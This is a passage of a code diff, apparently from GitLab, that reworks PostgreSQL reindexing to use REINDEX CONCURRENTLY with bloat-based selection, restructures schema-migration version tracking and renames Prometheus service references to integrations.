- # :column - name of the referencing column (otherwise inferred from the referenced table name)
- # :primary_key - name of the primary key in the referenced table (defaults to id)
- #
- def remove_partitioned_foreign_key(from_table, to_table, column: nil, primary_key: :id)
- update_foreign_keys(from_table, to_table, column, primary_key) do |current_keys, existing_key, specified_key|
- if existing_key
- existing_key.delete
- current_keys.delete(existing_key)
- else
- Gitlab::AppLogger.warn "foreign key not removed because it doesn't exist: #{specified_key}"
- end
-
- current_keys
- end
- end
-
- private
-
- def fk_function_name(table)
- object_name(table, 'fk_cascade_function')
- end
-
- def fk_trigger_name(table)
- object_name(table, 'fk_cascade_trigger')
- end
-
- def fk_from_spec(from_table, to_table, from_column, to_column, cascade_delete)
- PartitionedForeignKey.new(from_table: from_table.to_s, to_table: to_table.to_s, from_column: from_column.to_s,
- to_column: to_column.to_s, cascade_delete: cascade_delete)
- end
-
- def update_foreign_keys(from_table, to_table, from_column, to_column, cascade_delete = nil)
- assert_not_in_transaction_block(scope: 'partitioned foreign key')
-
- from_column ||= "#{to_table.to_s.singularize}_id"
- specified_key = fk_from_spec(from_table, to_table, from_column, to_column, cascade_delete)
-
- current_keys = PartitionedForeignKey.by_referenced_table(to_table).to_a
- existing_key = find_existing_key(current_keys, specified_key)
-
- final_keys = yield current_keys, existing_key, specified_key
-
- fn_name = fk_function_name(to_table)
- trigger_name = fk_trigger_name(to_table)
-
- with_lock_retries do
- drop_trigger(to_table, trigger_name, if_exists: true)
-
- if final_keys.empty?
- drop_function(fn_name, if_exists: true)
- else
- create_or_replace_fk_function(fn_name, final_keys)
- create_trigger(to_table, trigger_name, fn_name, fires: 'AFTER DELETE')
- end
- end
- end
-
- def extract_cascade_option(on_delete)
- case on_delete
- when :cascade then true
- when :nullify then false
- else raise ArgumentError, "invalid option #{on_delete} for :on_delete"
- end
- end
-
- def find_existing_key(keys, key)
- keys.find { |k| k.from_table == key.from_table && k.from_column == key.from_column }
- end
-
- def create_or_replace_fk_function(fn_name, fk_specs)
- create_trigger_function(fn_name, replace: true) do
- cascade_statements = build_cascade_statements(fk_specs)
- cascade_statements << 'RETURN OLD;'
-
- cascade_statements.join("\n")
- end
- end
-
- def build_cascade_statements(foreign_keys)
- foreign_keys.map do |fks|
- if fks.cascade_delete?
- "DELETE FROM #{fks.from_table} WHERE #{fks.from_column} = OLD.#{fks.to_column};"
- else
- "UPDATE #{fks.from_table} SET #{fks.from_column} = NULL WHERE #{fks.from_column} = OLD.#{fks.to_column};"
- end
- end
- end
end
end
end
diff --git a/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key.rb b/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key.rb
deleted file mode 100644
index f9a90511f9b..00000000000
--- a/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Database
- module PartitioningMigrationHelpers
- class PartitionedForeignKey < ApplicationRecord
- validates_with PartitionedForeignKeyValidator
-
- scope :by_referenced_table, ->(table) { where(to_table: table) }
- end
- end
- end
-end
diff --git a/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key_validator.rb b/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key_validator.rb
deleted file mode 100644
index 089cf2b8931..00000000000
--- a/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key_validator.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Database
- module PartitioningMigrationHelpers
- class PartitionedForeignKeyValidator < ActiveModel::Validator
- def validate(record)
- validate_key_part(record, :from_table, :from_column)
- validate_key_part(record, :to_table, :to_column)
- end
-
- private
-
- def validate_key_part(record, table_field, column_field)
- if !connection.table_exists?(record[table_field])
- record.errors.add(table_field, 'must be a valid table')
- elsif !connection.column_exists?(record[table_field], record[column_field])
- record.errors.add(column_field, 'must be a valid column')
- end
- end
-
- def connection
- ActiveRecord::Base.connection
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb b/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb
index aa46b98be5d..580cab5622d 100644
--- a/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb
+++ b/lib/gitlab/database/postgres_hll/batch_distinct_counter.rb
@@ -11,17 +11,17 @@ module Gitlab
# In order to not use a possible complex time consuming query when calculating min and max values,
# the start and finish can be sent specifically, start and finish should contain max and min values for PRIMARY KEY of
# relation (most cases `id` column) rather than counted attribute eg:
- # estimate_distinct_count(start: ::Project.with_active_services.minimum(:id), finish: ::Project.with_active_services.maximum(:id))
+ # estimate_distinct_count(start: ::Project.aimed_for_deletion.minimum(:id), finish: ::Project.aimed_for_deletion.maximum(:id))
#
# Grouped relations are NOT supported yet.
#
# @example Usage
# ::Gitlab::Database::PostgresHllBatchDistinctCount.new(::Project, :creator_id).execute
- # ::Gitlab::Database::PostgresHllBatchDistinctCount.new(::Project.with_active_services.service_desk_enabled.where(time_period))
+ # ::Gitlab::Database::PostgresHllBatchDistinctCount.new(::Project.aimed_for_deletion.service_desk_enabled.where(time_period))
# .execute(
# batch_size: 1_000,
- # start: ::Project.with_active_services.service_desk_enabled.where(time_period).minimum(:id),
- # finish: ::Project.with_active_services.service_desk_enabled.where(time_period).maximum(:id)
+ # start: ::Project.aimed_for_deletion.service_desk_enabled.where(time_period).minimum(:id),
+ # finish: ::Project.aimed_for_deletion.service_desk_enabled.where(time_period).maximum(:id)
# )
#
# @note HyperLogLog is an PROBABILISTIC algorithm that ESTIMATES distinct count of given attribute value for supplied relation
diff --git a/lib/gitlab/database/postgres_index.rb b/lib/gitlab/database/postgres_index.rb
index 6e734834841..58e4e7e7924 100644
--- a/lib/gitlab/database/postgres_index.rb
+++ b/lib/gitlab/database/postgres_index.rb
@@ -7,6 +7,7 @@ module Gitlab
self.table_name = 'postgres_indexes'
self.primary_key = 'identifier'
+ self.inheritance_column = :_type_disabled
has_one :bloat_estimate, class_name: 'Gitlab::Database::PostgresIndexBloatEstimate', foreign_key: :identifier
has_many :reindexing_actions, class_name: 'Gitlab::Database::Reindexing::ReindexAction', foreign_key: :index_identifier
@@ -17,12 +18,12 @@ module Gitlab
find(identifier)
end
- # A 'regular' index is a non-unique index,
- # that does not serve an exclusion constraint and
- # is defined on a table that is not partitioned.
- scope :regular, -> { where(unique: false, partitioned: false, exclusion: false)}
+ # Indexes with reindexing support
+ scope :reindexing_support, -> { where(partitioned: false, exclusion: false, expression: false, type: Gitlab::Database::Reindexing::SUPPORTED_TYPES) }
- scope :not_match, ->(regex) { where("name !~ ?", regex)}
+ scope :not_match, ->(regex) { where("name !~ ?", regex) }
+
+ scope :match, ->(regex) { where("name ~* ?", regex) }
scope :not_recently_reindexed, -> do
recent_actions = Reindexing::ReindexAction.recent.where('index_identifier = identifier')
@@ -30,10 +31,19 @@ module Gitlab
where('NOT EXISTS (?)', recent_actions)
end
+ def reset
+ reload # rubocop:disable Cop/ActiveRecordAssociationReload
+ clear_memoization(:bloat_size)
+ end
+
def bloat_size
strong_memoize(:bloat_size) { bloat_estimate&.bloat_size || 0 }
end
+ def relative_bloat_level
+ bloat_size / ondisk_size_bytes.to_f
+ end
+
def to_s
name
end
diff --git a/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin.rb b/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin.rb
index 59bd24d3c37..a2e7f4befab 100644
--- a/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin.rb
+++ b/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin.rb
@@ -7,8 +7,7 @@ module Gitlab
extend ActiveSupport::Concern
def dump_schema_information # :nodoc:
- versions = schema_migration.all_versions
- Gitlab::Database::SchemaVersionFiles.touch_all(versions) if versions.any?
+ Gitlab::Database::SchemaMigrations.touch_all(self)
nil
end
diff --git a/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin.rb b/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin.rb
index 9f664fa2137..71d2554844e 100644
--- a/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin.rb
+++ b/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin.rb
@@ -22,7 +22,7 @@ module Gitlab
end
def force_disconnect_timer
- @force_disconnect_timer ||= ConnectionTimer.starting_now
+ @force_disconnect_timer ||= ::Gitlab::Database::ConnectionTimer.starting_now
end
end
end
diff --git a/lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin.rb b/lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin.rb
index cf8342941c4..30060ecb34f 100644
--- a/lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin.rb
+++ b/lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin.rb
@@ -6,9 +6,10 @@ module Gitlab
module LoadSchemaVersionsMixin
extend ActiveSupport::Concern
- def structure_load(*args)
- super(*args)
- Gitlab::Database::SchemaVersionFiles.load_all
+ def structure_load(...)
+ super(...)
+
+ Gitlab::Database::SchemaMigrations.load_all(connection)
end
end
end
diff --git a/lib/gitlab/database/reindexing.rb b/lib/gitlab/database/reindexing.rb
index 0cfad690283..841e04ccbd1 100644
--- a/lib/gitlab/database/reindexing.rb
+++ b/lib/gitlab/database/reindexing.rb
@@ -6,6 +6,8 @@ module Gitlab
# Number of indexes to reindex per invocation
DEFAULT_INDEXES_PER_INVOCATION = 2
+ SUPPORTED_TYPES = %w(btree gist).freeze
+
# candidate_indexes: Array of Gitlab::Database::PostgresIndex
def self.perform(candidate_indexes, how_many: DEFAULT_INDEXES_PER_INVOCATION)
IndexSelection.new(candidate_indexes).take(how_many).each do |index|
@@ -15,10 +17,8 @@ module Gitlab
def self.candidate_indexes
Gitlab::Database::PostgresIndex
- .regular
- .where('NOT expression')
- .not_match("^#{ConcurrentReindex::TEMPORARY_INDEX_PREFIX}")
- .not_match("^#{ConcurrentReindex::REPLACED_INDEX_PREFIX}")
+ .not_match("#{ReindexConcurrently::TEMPORARY_INDEX_PATTERN}$")
+ .reindexing_support
end
end
end
diff --git a/lib/gitlab/database/reindexing/concurrent_reindex.rb b/lib/gitlab/database/reindexing/concurrent_reindex.rb
deleted file mode 100644
index 7e2dd55d21b..00000000000
--- a/lib/gitlab/database/reindexing/concurrent_reindex.rb
+++ /dev/null
@@ -1,154 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Database
- module Reindexing
- class ConcurrentReindex
- include Gitlab::Utils::StrongMemoize
-
- ReindexError = Class.new(StandardError)
-
- PG_IDENTIFIER_LENGTH = 63
- TEMPORARY_INDEX_PREFIX = 'tmp_reindex_'
- REPLACED_INDEX_PREFIX = 'old_reindex_'
- STATEMENT_TIMEOUT = 9.hours
-
- # When dropping an index, we acquire a SHARE UPDATE EXCLUSIVE lock,
- # which only conflicts with DDL and vacuum. We therefore execute this with a rather
- # high lock timeout and a long pause in between retries. This is an alternative to
- # setting a high statement timeout, which would lead to a long running query with effects
- # on e.g. vacuum.
- REMOVE_INDEX_RETRY_CONFIG = [[1.minute, 9.minutes]] * 30
-
- attr_reader :index, :logger
-
- def initialize(index, logger: Gitlab::AppLogger)
- @index = index
- @logger = logger
- end
-
- def perform
- raise ReindexError, 'UNIQUE indexes are currently not supported' if index.unique?
- raise ReindexError, 'partitioned indexes are currently not supported' if index.partitioned?
- raise ReindexError, 'indexes serving an exclusion constraint are currently not supported' if index.exclusion?
- raise ReindexError, 'index is a left-over temporary index from a previous reindexing run' if index.name.start_with?(TEMPORARY_INDEX_PREFIX, REPLACED_INDEX_PREFIX)
-
- logger.info "Starting reindex of #{index}"
-
- with_rebuilt_index do |replacement_index|
- swap_index(replacement_index)
- end
- end
-
- private
-
- def with_rebuilt_index
- if Gitlab::Database::PostgresIndex.find_by(schema: index.schema, name: replacement_index_name)
- logger.debug("dropping dangling index from previous run (if it exists): #{replacement_index_name}")
- remove_index(index.schema, replacement_index_name)
- end
-
- create_replacement_index_statement = index.definition
- .sub(/CREATE INDEX #{index.name}/, "CREATE INDEX CONCURRENTLY #{replacement_index_name}")
-
- logger.info("creating replacement index #{replacement_index_name}")
- logger.debug("replacement index definition: #{create_replacement_index_statement}")
-
- set_statement_timeout do
- connection.execute(create_replacement_index_statement)
- end
-
- replacement_index = Gitlab::Database::PostgresIndex.find_by(schema: index.schema, name: replacement_index_name)
-
- unless replacement_index.valid_index?
- message = 'replacement index was created as INVALID'
- logger.error("#{message}, cleaning up")
- raise ReindexError, "failed to reindex #{index}: #{message}"
- end
-
- # Some expression indexes (aka functional indexes)
- # require additional statistics. The existing statistics
- # are tightly bound to the original index. We have to
- # rebuild statistics for the new index before dropping
- # the original one.
- rebuild_statistics if index.expression?
-
- yield replacement_index
- ensure
- begin
- remove_index(index.schema, replacement_index_name)
- rescue StandardError => e
- logger.error(e)
- end
- end
-
- def swap_index(replacement_index)
- logger.info("swapping replacement index #{replacement_index} with #{index}")
-
- with_lock_retries do
- rename_index(index.schema, index.name, replaced_index_name)
- rename_index(replacement_index.schema, replacement_index.name, index.name)
- rename_index(index.schema, replaced_index_name, replacement_index.name)
- end
- end
-
- def rename_index(schema, old_index_name, new_index_name)
- connection.execute(<<~SQL)
- ALTER INDEX #{quote_table_name(schema)}.#{quote_table_name(old_index_name)}
- RENAME TO #{quote_table_name(new_index_name)}
- SQL
- end
-
- def remove_index(schema, name)
- logger.info("Removing index #{schema}.#{name}")
-
- retries = Gitlab::Database::WithLockRetriesOutsideTransaction.new(
- timing_configuration: REMOVE_INDEX_RETRY_CONFIG,
- klass: self.class,
- logger: logger
- )
-
- retries.run(raise_on_exhaustion: false) do
- connection.execute(<<~SQL)
- DROP INDEX CONCURRENTLY
- IF EXISTS #{quote_table_name(schema)}.#{quote_table_name(name)}
- SQL
- end
- end
-
- def rebuild_statistics
- logger.info("rebuilding table statistics for #{index.schema}.#{index.tablename}")
-
- connection.execute(<<~SQL)
- ANALYZE #{quote_table_name(index.schema)}.#{quote_table_name(index.tablename)}
- SQL
- end
-
- def replacement_index_name
- @replacement_index_name ||= "#{TEMPORARY_INDEX_PREFIX}#{index.indexrelid}"
- end
-
- def replaced_index_name
- @replaced_index_name ||= "#{REPLACED_INDEX_PREFIX}#{index.indexrelid}"
- end
-
- def with_lock_retries(&block)
- arguments = { klass: self.class, logger: logger }
- Gitlab::Database::WithLockRetries.new(**arguments).run(raise_on_exhaustion: true, &block)
- end
-
- def set_statement_timeout
- execute("SET statement_timeout TO '%ds'" % STATEMENT_TIMEOUT)
- yield
- ensure
- execute('RESET statement_timeout')
- end
-
- delegate :execute, :quote_table_name, to: :connection
- def connection
- @connection ||= ActiveRecord::Base.connection
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/database/reindexing/coordinator.rb b/lib/gitlab/database/reindexing/coordinator.rb
index d68f47b5b6c..13298f67ca9 100644
--- a/lib/gitlab/database/reindexing/coordinator.rb
+++ b/lib/gitlab/database/reindexing/coordinator.rb
@@ -41,7 +41,7 @@ module Gitlab
end
def perform_for(index, action)
- ConcurrentReindex.new(index).perform
+ ReindexConcurrently.new(index).perform
rescue StandardError
action.state = :failed
diff --git a/lib/gitlab/database/reindexing/index_selection.rb b/lib/gitlab/database/reindexing/index_selection.rb
index 406e70791df..2186384e7d7 100644
--- a/lib/gitlab/database/reindexing/index_selection.rb
+++ b/lib/gitlab/database/reindexing/index_selection.rb
@@ -6,6 +6,12 @@ module Gitlab
class IndexSelection
include Enumerable
+ # Only reindex indexes with a relative bloat level (bloat estimate / size) higher than this
+ MINIMUM_RELATIVE_BLOAT = 0.2
+
+ # Only consider indexes with a total ondisk size in this range (before reindexing)
+ INDEX_SIZE_RANGE = (1.gigabyte..100.gigabyte).freeze
+
delegate :each, to: :indexes
def initialize(candidates)
@@ -24,11 +30,12 @@ module Gitlab
# we force a N+1 pattern here and estimate bloat on a per-index
# basis.
- @indexes ||= filter_candidates.sort_by(&:bloat_size).reverse
- end
-
- def filter_candidates
- candidates.not_recently_reindexed
+ @indexes ||= candidates
+ .not_recently_reindexed
+ .where(ondisk_size_bytes: INDEX_SIZE_RANGE)
+ .sort_by(&:relative_bloat_level) # forced N+1
+ .reverse
+ .select { |candidate| candidate.relative_bloat_level >= MINIMUM_RELATIVE_BLOAT }
end
end
end
diff --git a/lib/gitlab/database/reindexing/reindex_action.rb b/lib/gitlab/database/reindexing/reindex_action.rb
index 7e58201889f..ff465fffb74 100644
--- a/lib/gitlab/database/reindexing/reindex_action.rb
+++ b/lib/gitlab/database/reindexing/reindex_action.rb
@@ -10,7 +10,7 @@ module Gitlab
enum state: { started: 0, finished: 1, failed: 2 }
# Amount of time to consider a previous reindexing *recent*
- RECENT_THRESHOLD = 7.days
+ RECENT_THRESHOLD = 10.days
scope :recent, -> { where(state: :finished).where('action_end > ?', Time.zone.now - RECENT_THRESHOLD) }
diff --git a/lib/gitlab/database/reindexing/reindex_concurrently.rb b/lib/gitlab/database/reindexing/reindex_concurrently.rb
new file mode 100644
index 00000000000..8d9f9f5abdd
--- /dev/null
+++ b/lib/gitlab/database/reindexing/reindex_concurrently.rb
@@ -0,0 +1,138 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module Reindexing
+ # This is a >= PG12 reindexing strategy based on `REINDEX CONCURRENTLY`
+ class ReindexConcurrently
+ ReindexError = Class.new(StandardError)
+
+ TEMPORARY_INDEX_PATTERN = '\_ccnew[0-9]*'
+ STATEMENT_TIMEOUT = 9.hours
+ PG_MAX_INDEX_NAME_LENGTH = 63
+
+ # When dropping an index, we acquire a SHARE UPDATE EXCLUSIVE lock,
+ # which only conflicts with DDL and vacuum. We therefore execute this with a rather
+ # high lock timeout and a long pause in between retries. This is an alternative to
+ # setting a high statement timeout, which would lead to a long running query with effects
+ # on e.g. vacuum.
+ REMOVE_INDEX_RETRY_CONFIG = [[1.minute, 9.minutes]] * 30
+
+ attr_reader :index, :logger
+
+ def initialize(index, logger: Gitlab::AppLogger)
+ @index = index
+ @logger = logger
+ end
+
+ def perform
+ raise ReindexError, 'indexes serving an exclusion constraint are currently not supported' if index.exclusion?
+ raise ReindexError, 'index is a left-over temporary index from a previous reindexing run' if index.name =~ /#{TEMPORARY_INDEX_PATTERN}/
+
+ # Expression indexes require additional statistics in `pg_statistic`:
+ # select * from pg_statistic where starelid = (select oid from pg_class where relname = 'some_index');
+ #
+ # In PG12, this has been fixed in https://gitlab.com/postgres/postgres/-/commit/b17ff07aa3eb142d2cde2ea00e4a4e8f63686f96.
+ # Discussion happened in https://www.postgresql.org/message-id/flat/CAFcNs%2BqpFPmiHd1oTXvcPdvAHicJDA9qBUSujgAhUMJyUMb%2BSA%40mail.gmail.com
+ # following a GitLab.com incident that surfaced this (https://gitlab.com/gitlab-com/gl-infra/production/-/issues/2885).
+ #
+ # While this has been backpatched, we continue to disable expression indexes until further review.
+ raise ReindexError, 'expression indexes are currently not supported' if index.expression?
+
+ begin
+ with_logging do
+ set_statement_timeout do
+ execute("REINDEX INDEX CONCURRENTLY #{quote_table_name(index.schema)}.#{quote_table_name(index.name)}")
+ end
+ end
+ ensure
+ cleanup_dangling_indexes
+ end
+ end
+
+ private
+
+ def with_logging
+ bloat_size = index.bloat_size
+ ondisk_size_before = index.ondisk_size_bytes
+
+ logger.info(
+ message: "Starting reindex of #{index}",
+ index: index.identifier,
+ table: index.tablename,
+ estimated_bloat_bytes: bloat_size,
+ index_size_before_bytes: ondisk_size_before,
+ relative_bloat_level: index.relative_bloat_level
+ )
+
+ duration = Benchmark.realtime do
+ yield
+ end
+
+ index.reset
+
+ logger.info(
+ message: "Finished reindex of #{index}",
+ index: index.identifier,
+ table: index.tablename,
+ estimated_bloat_bytes: bloat_size,
+ index_size_before_bytes: ondisk_size_before,
+ index_size_after_bytes: index.ondisk_size_bytes,
+ relative_bloat_level: index.relative_bloat_level,
+ duration_s: duration.round(2)
+ )
+ end
+
+ def cleanup_dangling_indexes
+ Gitlab::Database::PostgresIndex.match("#{TEMPORARY_INDEX_PATTERN}$").each do |lingering_index|
+ # Example lingering index name: some_index_ccnew1
+
+ # Example prefix: 'some_index'
+ prefix = lingering_index.name.gsub(/#{TEMPORARY_INDEX_PATTERN}/, '')
+
+ # Example suffix: '_ccnew1'
+ suffix = lingering_index.name.match(/#{TEMPORARY_INDEX_PATTERN}/)[0]
+
+ # Only remove if the lingering index name could have been chosen
+ # as a result of a REINDEX operation (considering that PostgreSQL
+ # truncates index names to 63 chars and adds a suffix).
+ if index.name[0...PG_MAX_INDEX_NAME_LENGTH - suffix.length] == prefix
+ remove_index(lingering_index)
+ end
+ end
+ end
+
+ def remove_index(index)
+ logger.info("Removing dangling index #{index.identifier}")
+
+ retries = Gitlab::Database::WithLockRetriesOutsideTransaction.new(
+ timing_configuration: REMOVE_INDEX_RETRY_CONFIG,
+ klass: self.class,
+ logger: logger
+ )
+
+ retries.run(raise_on_exhaustion: false) do
+ execute("DROP INDEX CONCURRENTLY IF EXISTS #{quote_table_name(index.schema)}.#{quote_table_name(index.name)}")
+ end
+ end
+
+ def with_lock_retries(&block)
+ arguments = { klass: self.class, logger: logger }
+ Gitlab::Database::WithLockRetries.new(**arguments).run(raise_on_exhaustion: true, &block)
+ end
+
+ def set_statement_timeout
+ execute("SET statement_timeout TO '%ds'" % STATEMENT_TIMEOUT)
+ yield
+ ensure
+ execute('RESET statement_timeout')
+ end
+
+ delegate :execute, :quote_table_name, to: :connection
+ def connection
+ @connection ||= ActiveRecord::Base.connection
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/schema_cleaner.rb b/lib/gitlab/database/schema_cleaner.rb
index 8f93da2b66c..c3cdcf1450d 100644
--- a/lib/gitlab/database/schema_cleaner.rb
+++ b/lib/gitlab/database/schema_cleaner.rb
@@ -30,11 +30,7 @@ module Gitlab
structure.gsub!(/\n{3,}/, "\n\n")
io << structure.strip
- io << <<~MSG
- -- schema_migrations.version information is no longer stored in this file,
- -- but instead tracked in the db/schema_migrations directory
- -- see https://gitlab.com/gitlab-org/gitlab/-/issues/218590 for details
- MSG
+ io << "\n"
nil
end
diff --git a/lib/gitlab/database/schema_migrations.rb b/lib/gitlab/database/schema_migrations.rb
new file mode 100644
index 00000000000..1c49ed8d946
--- /dev/null
+++ b/lib/gitlab/database/schema_migrations.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module SchemaMigrations
+ def self.touch_all(connection)
+ context = Gitlab::Database::SchemaMigrations::Context.new(connection)
+
+ Gitlab::Database::SchemaMigrations::Migrations.new(context).touch_all
+ end
+
+ def self.load_all(connection)
+ context = Gitlab::Database::SchemaMigrations::Context.new(connection)
+
+ Gitlab::Database::SchemaMigrations::Migrations.new(context).load_all
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/schema_migrations/context.rb b/lib/gitlab/database/schema_migrations/context.rb
new file mode 100644
index 00000000000..bd8b9bed2c1
--- /dev/null
+++ b/lib/gitlab/database/schema_migrations/context.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module SchemaMigrations
+ class Context
+ attr_reader :connection
+
+ def initialize(connection)
+ @connection = connection
+ end
+
+ def schema_directory
+ @schema_directory ||=
+ if ActiveRecord::Base.configurations.primary?(database_name)
+ File.join(db_dir, 'schema_migrations')
+ else
+ File.join(db_dir, "#{database_name}_schema_migrations")
+ end
+ end
+
+ def versions_to_create
+ versions_from_database = @connection.schema_migration.all_versions
+ versions_from_migration_files = @connection.migration_context.migrations.map { |m| m.version.to_s }
+
+ versions_from_database & versions_from_migration_files
+ end
+
+ private
+
+ def database_name
+ @database_name ||= @connection.pool.db_config.name
+ end
+
+ def db_dir
+ @db_dir ||= Rails.application.config.paths["db"].first
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/schema_migrations/migrations.rb b/lib/gitlab/database/schema_migrations/migrations.rb
new file mode 100644
index 00000000000..3b16b7f1b81
--- /dev/null
+++ b/lib/gitlab/database/schema_migrations/migrations.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module SchemaMigrations
+ class Migrations
+ MIGRATION_VERSION_GLOB = '20[0-9][0-9]*'
+
+ def initialize(context)
+ @context = context
+ end
+
+ def touch_all
+ return unless @context.versions_to_create.any?
+
+ version_filepaths = version_filenames.map { |f| File.join(schema_directory, f) }
+ FileUtils.rm(version_filepaths)
+
+ @context.versions_to_create.each do |version|
+ version_filepath = File.join(schema_directory, version)
+
+ File.open(version_filepath, 'w') do |file|
+ file << Digest::SHA256.hexdigest(version)
+ end
+ end
+ end
+
+ def load_all
+ return if version_filenames.empty?
+
+ values = version_filenames.map { |vf| "('#{@context.connection.quote_string(vf)}')" }
+
+ @context.connection.execute(<<~SQL)
+ INSERT INTO schema_migrations (version)
+ VALUES #{values.join(',')}
+ ON CONFLICT DO NOTHING
+ SQL
+ end
+
+ private
+
+ def schema_directory
+ @context.schema_directory
+ end
+
+ def version_filenames
+ @version_filenames ||= Dir.glob(MIGRATION_VERSION_GLOB, base: schema_directory)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/schema_version_files.rb b/lib/gitlab/database/schema_version_files.rb
deleted file mode 100644
index 27a942404ef..00000000000
--- a/lib/gitlab/database/schema_version_files.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Database
- class SchemaVersionFiles
- SCHEMA_DIRECTORY = 'db/schema_migrations'
- MIGRATION_DIRECTORIES = %w[db/migrate db/post_migrate].freeze
- MIGRATION_VERSION_GLOB = '20[0-9][0-9]*'
-
- def self.touch_all(versions_from_database)
- versions_from_migration_files = find_versions_from_migration_files
-
- version_filepaths = find_version_filenames.map { |f| schema_directory.join(f) }
- FileUtils.rm(version_filepaths)
-
- versions_to_create = versions_from_database & versions_from_migration_files
- versions_to_create.each do |version|
- version_filepath = schema_directory.join(version)
-
- File.open(version_filepath, 'w') do |file|
- file << Digest::SHA256.hexdigest(version)
- end
- end
- end
-
- def self.load_all
- version_filenames = find_version_filenames
- return if version_filenames.empty?
-
- values = version_filenames.map { |vf| "('#{connection.quote_string(vf)}')" }
- connection.execute(<<~SQL)
- INSERT INTO schema_migrations (version)
- VALUES #{values.join(',')}
- ON CONFLICT DO NOTHING
- SQL
- end
-
- def self.schema_directory
- @schema_directory ||= Rails.root.join(SCHEMA_DIRECTORY)
- end
-
- def self.migration_directories
- @migration_directories ||= MIGRATION_DIRECTORIES.map { |dir| Rails.root.join(dir) }
- end
-
- def self.find_version_filenames
- Dir.glob(MIGRATION_VERSION_GLOB, base: schema_directory)
- end
-
- def self.find_versions_from_migration_files
- migration_directories.each_with_object([]) do |directory, migration_versions|
- directory_migrations = Dir.glob(MIGRATION_VERSION_GLOB, base: directory)
- directory_versions = directory_migrations.map! { |m| m.split('_').first }
-
- migration_versions.concat(directory_versions)
- end
- end
-
- def self.connection
- ActiveRecord::Base.connection
- end
- end
- end
-end
diff --git a/lib/gitlab/database_importers/instance_administrators/create_group.rb b/lib/gitlab/database_importers/instance_administrators/create_group.rb
index d9425810405..79244120776 100644
--- a/lib/gitlab/database_importers/instance_administrators/create_group.rb
+++ b/lib/gitlab/database_importers/instance_administrators/create_group.rb
@@ -89,7 +89,7 @@ module Gitlab
end
def track_event(result)
- ::Gitlab::Tracking.event("instance_administrators_group", "group_created")
+ ::Gitlab::Tracking.event("instance_administrators_group", "group_created", namespace: result[:group])
success(result)
end
diff --git a/lib/gitlab/database_importers/self_monitoring/project/create_service.rb b/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
index d1ada8c723e..57d354eb907 100644
--- a/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
+++ b/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
@@ -75,13 +75,13 @@ module Gitlab
if response
# In the add_prometheus_manual_configuration method, the Prometheus
- # server_address config is saved as an api_url in the PrometheusService
- # model. There are validates hooks in the PrometheusService model that
- # check if the project associated with the PrometheusService is the
+ # server_address config is saved as an api_url in the Integrations::Prometheus
+ # model. There are validates hooks in the Integrations::Prometheus model that
+ # check if the project associated with the Integrations::Prometheus is the
# self_monitoring project. It checks
# Gitlab::CurrentSettings.self_monitoring_project_id, which is why the
# Gitlab::CurrentSettings cache needs to be expired here, so that
- # PrometheusService sees the latest self_monitoring_project_id.
+ # Integrations::Prometheus sees the latest self_monitoring_project_id.
Gitlab::CurrentSettings.expire_current_application_settings
success(result)
else
@@ -107,10 +107,10 @@ module Gitlab
return success(result) unless prometheus_enabled?
return success(result) unless prometheus_server_address.present?
- service = result[:project].find_or_initialize_service('prometheus')
+ prometheus = result[:project].find_or_initialize_integration('prometheus')
- unless service.update(prometheus_service_attributes)
- log_error('Could not save prometheus manual configuration for self-monitoring project. Errors: %{errors}' % { errors: service.errors.full_messages })
+ unless prometheus.update(prometheus_integration_attributes)
+ log_error('Could not save prometheus manual configuration for self-monitoring project. Errors: %{errors}' % { errors: prometheus.errors.full_messages })
return error(_('Could not save prometheus manual configuration'))
end
@@ -118,7 +118,8 @@ module Gitlab
end
def track_event(result)
- ::Gitlab::Tracking.event("self_monitoring", "project_created")
+ project = result[:project]
+ ::Gitlab::Tracking.event("self_monitoring", "project_created", project: project, namespace: project.namespace)
success(result)
end
@@ -156,7 +157,7 @@ module Gitlab
::Gitlab::Prometheus::Internal.uri
end
- def prometheus_service_attributes
+ def prometheus_integration_attributes
{
api_url: internal_prometheus_server_address_uri,
manual_configuration: true,
diff --git a/lib/gitlab/diff/file.rb b/lib/gitlab/diff/file.rb
index 35581952f4a..0ba23b8ffc7 100644
--- a/lib/gitlab/diff/file.rb
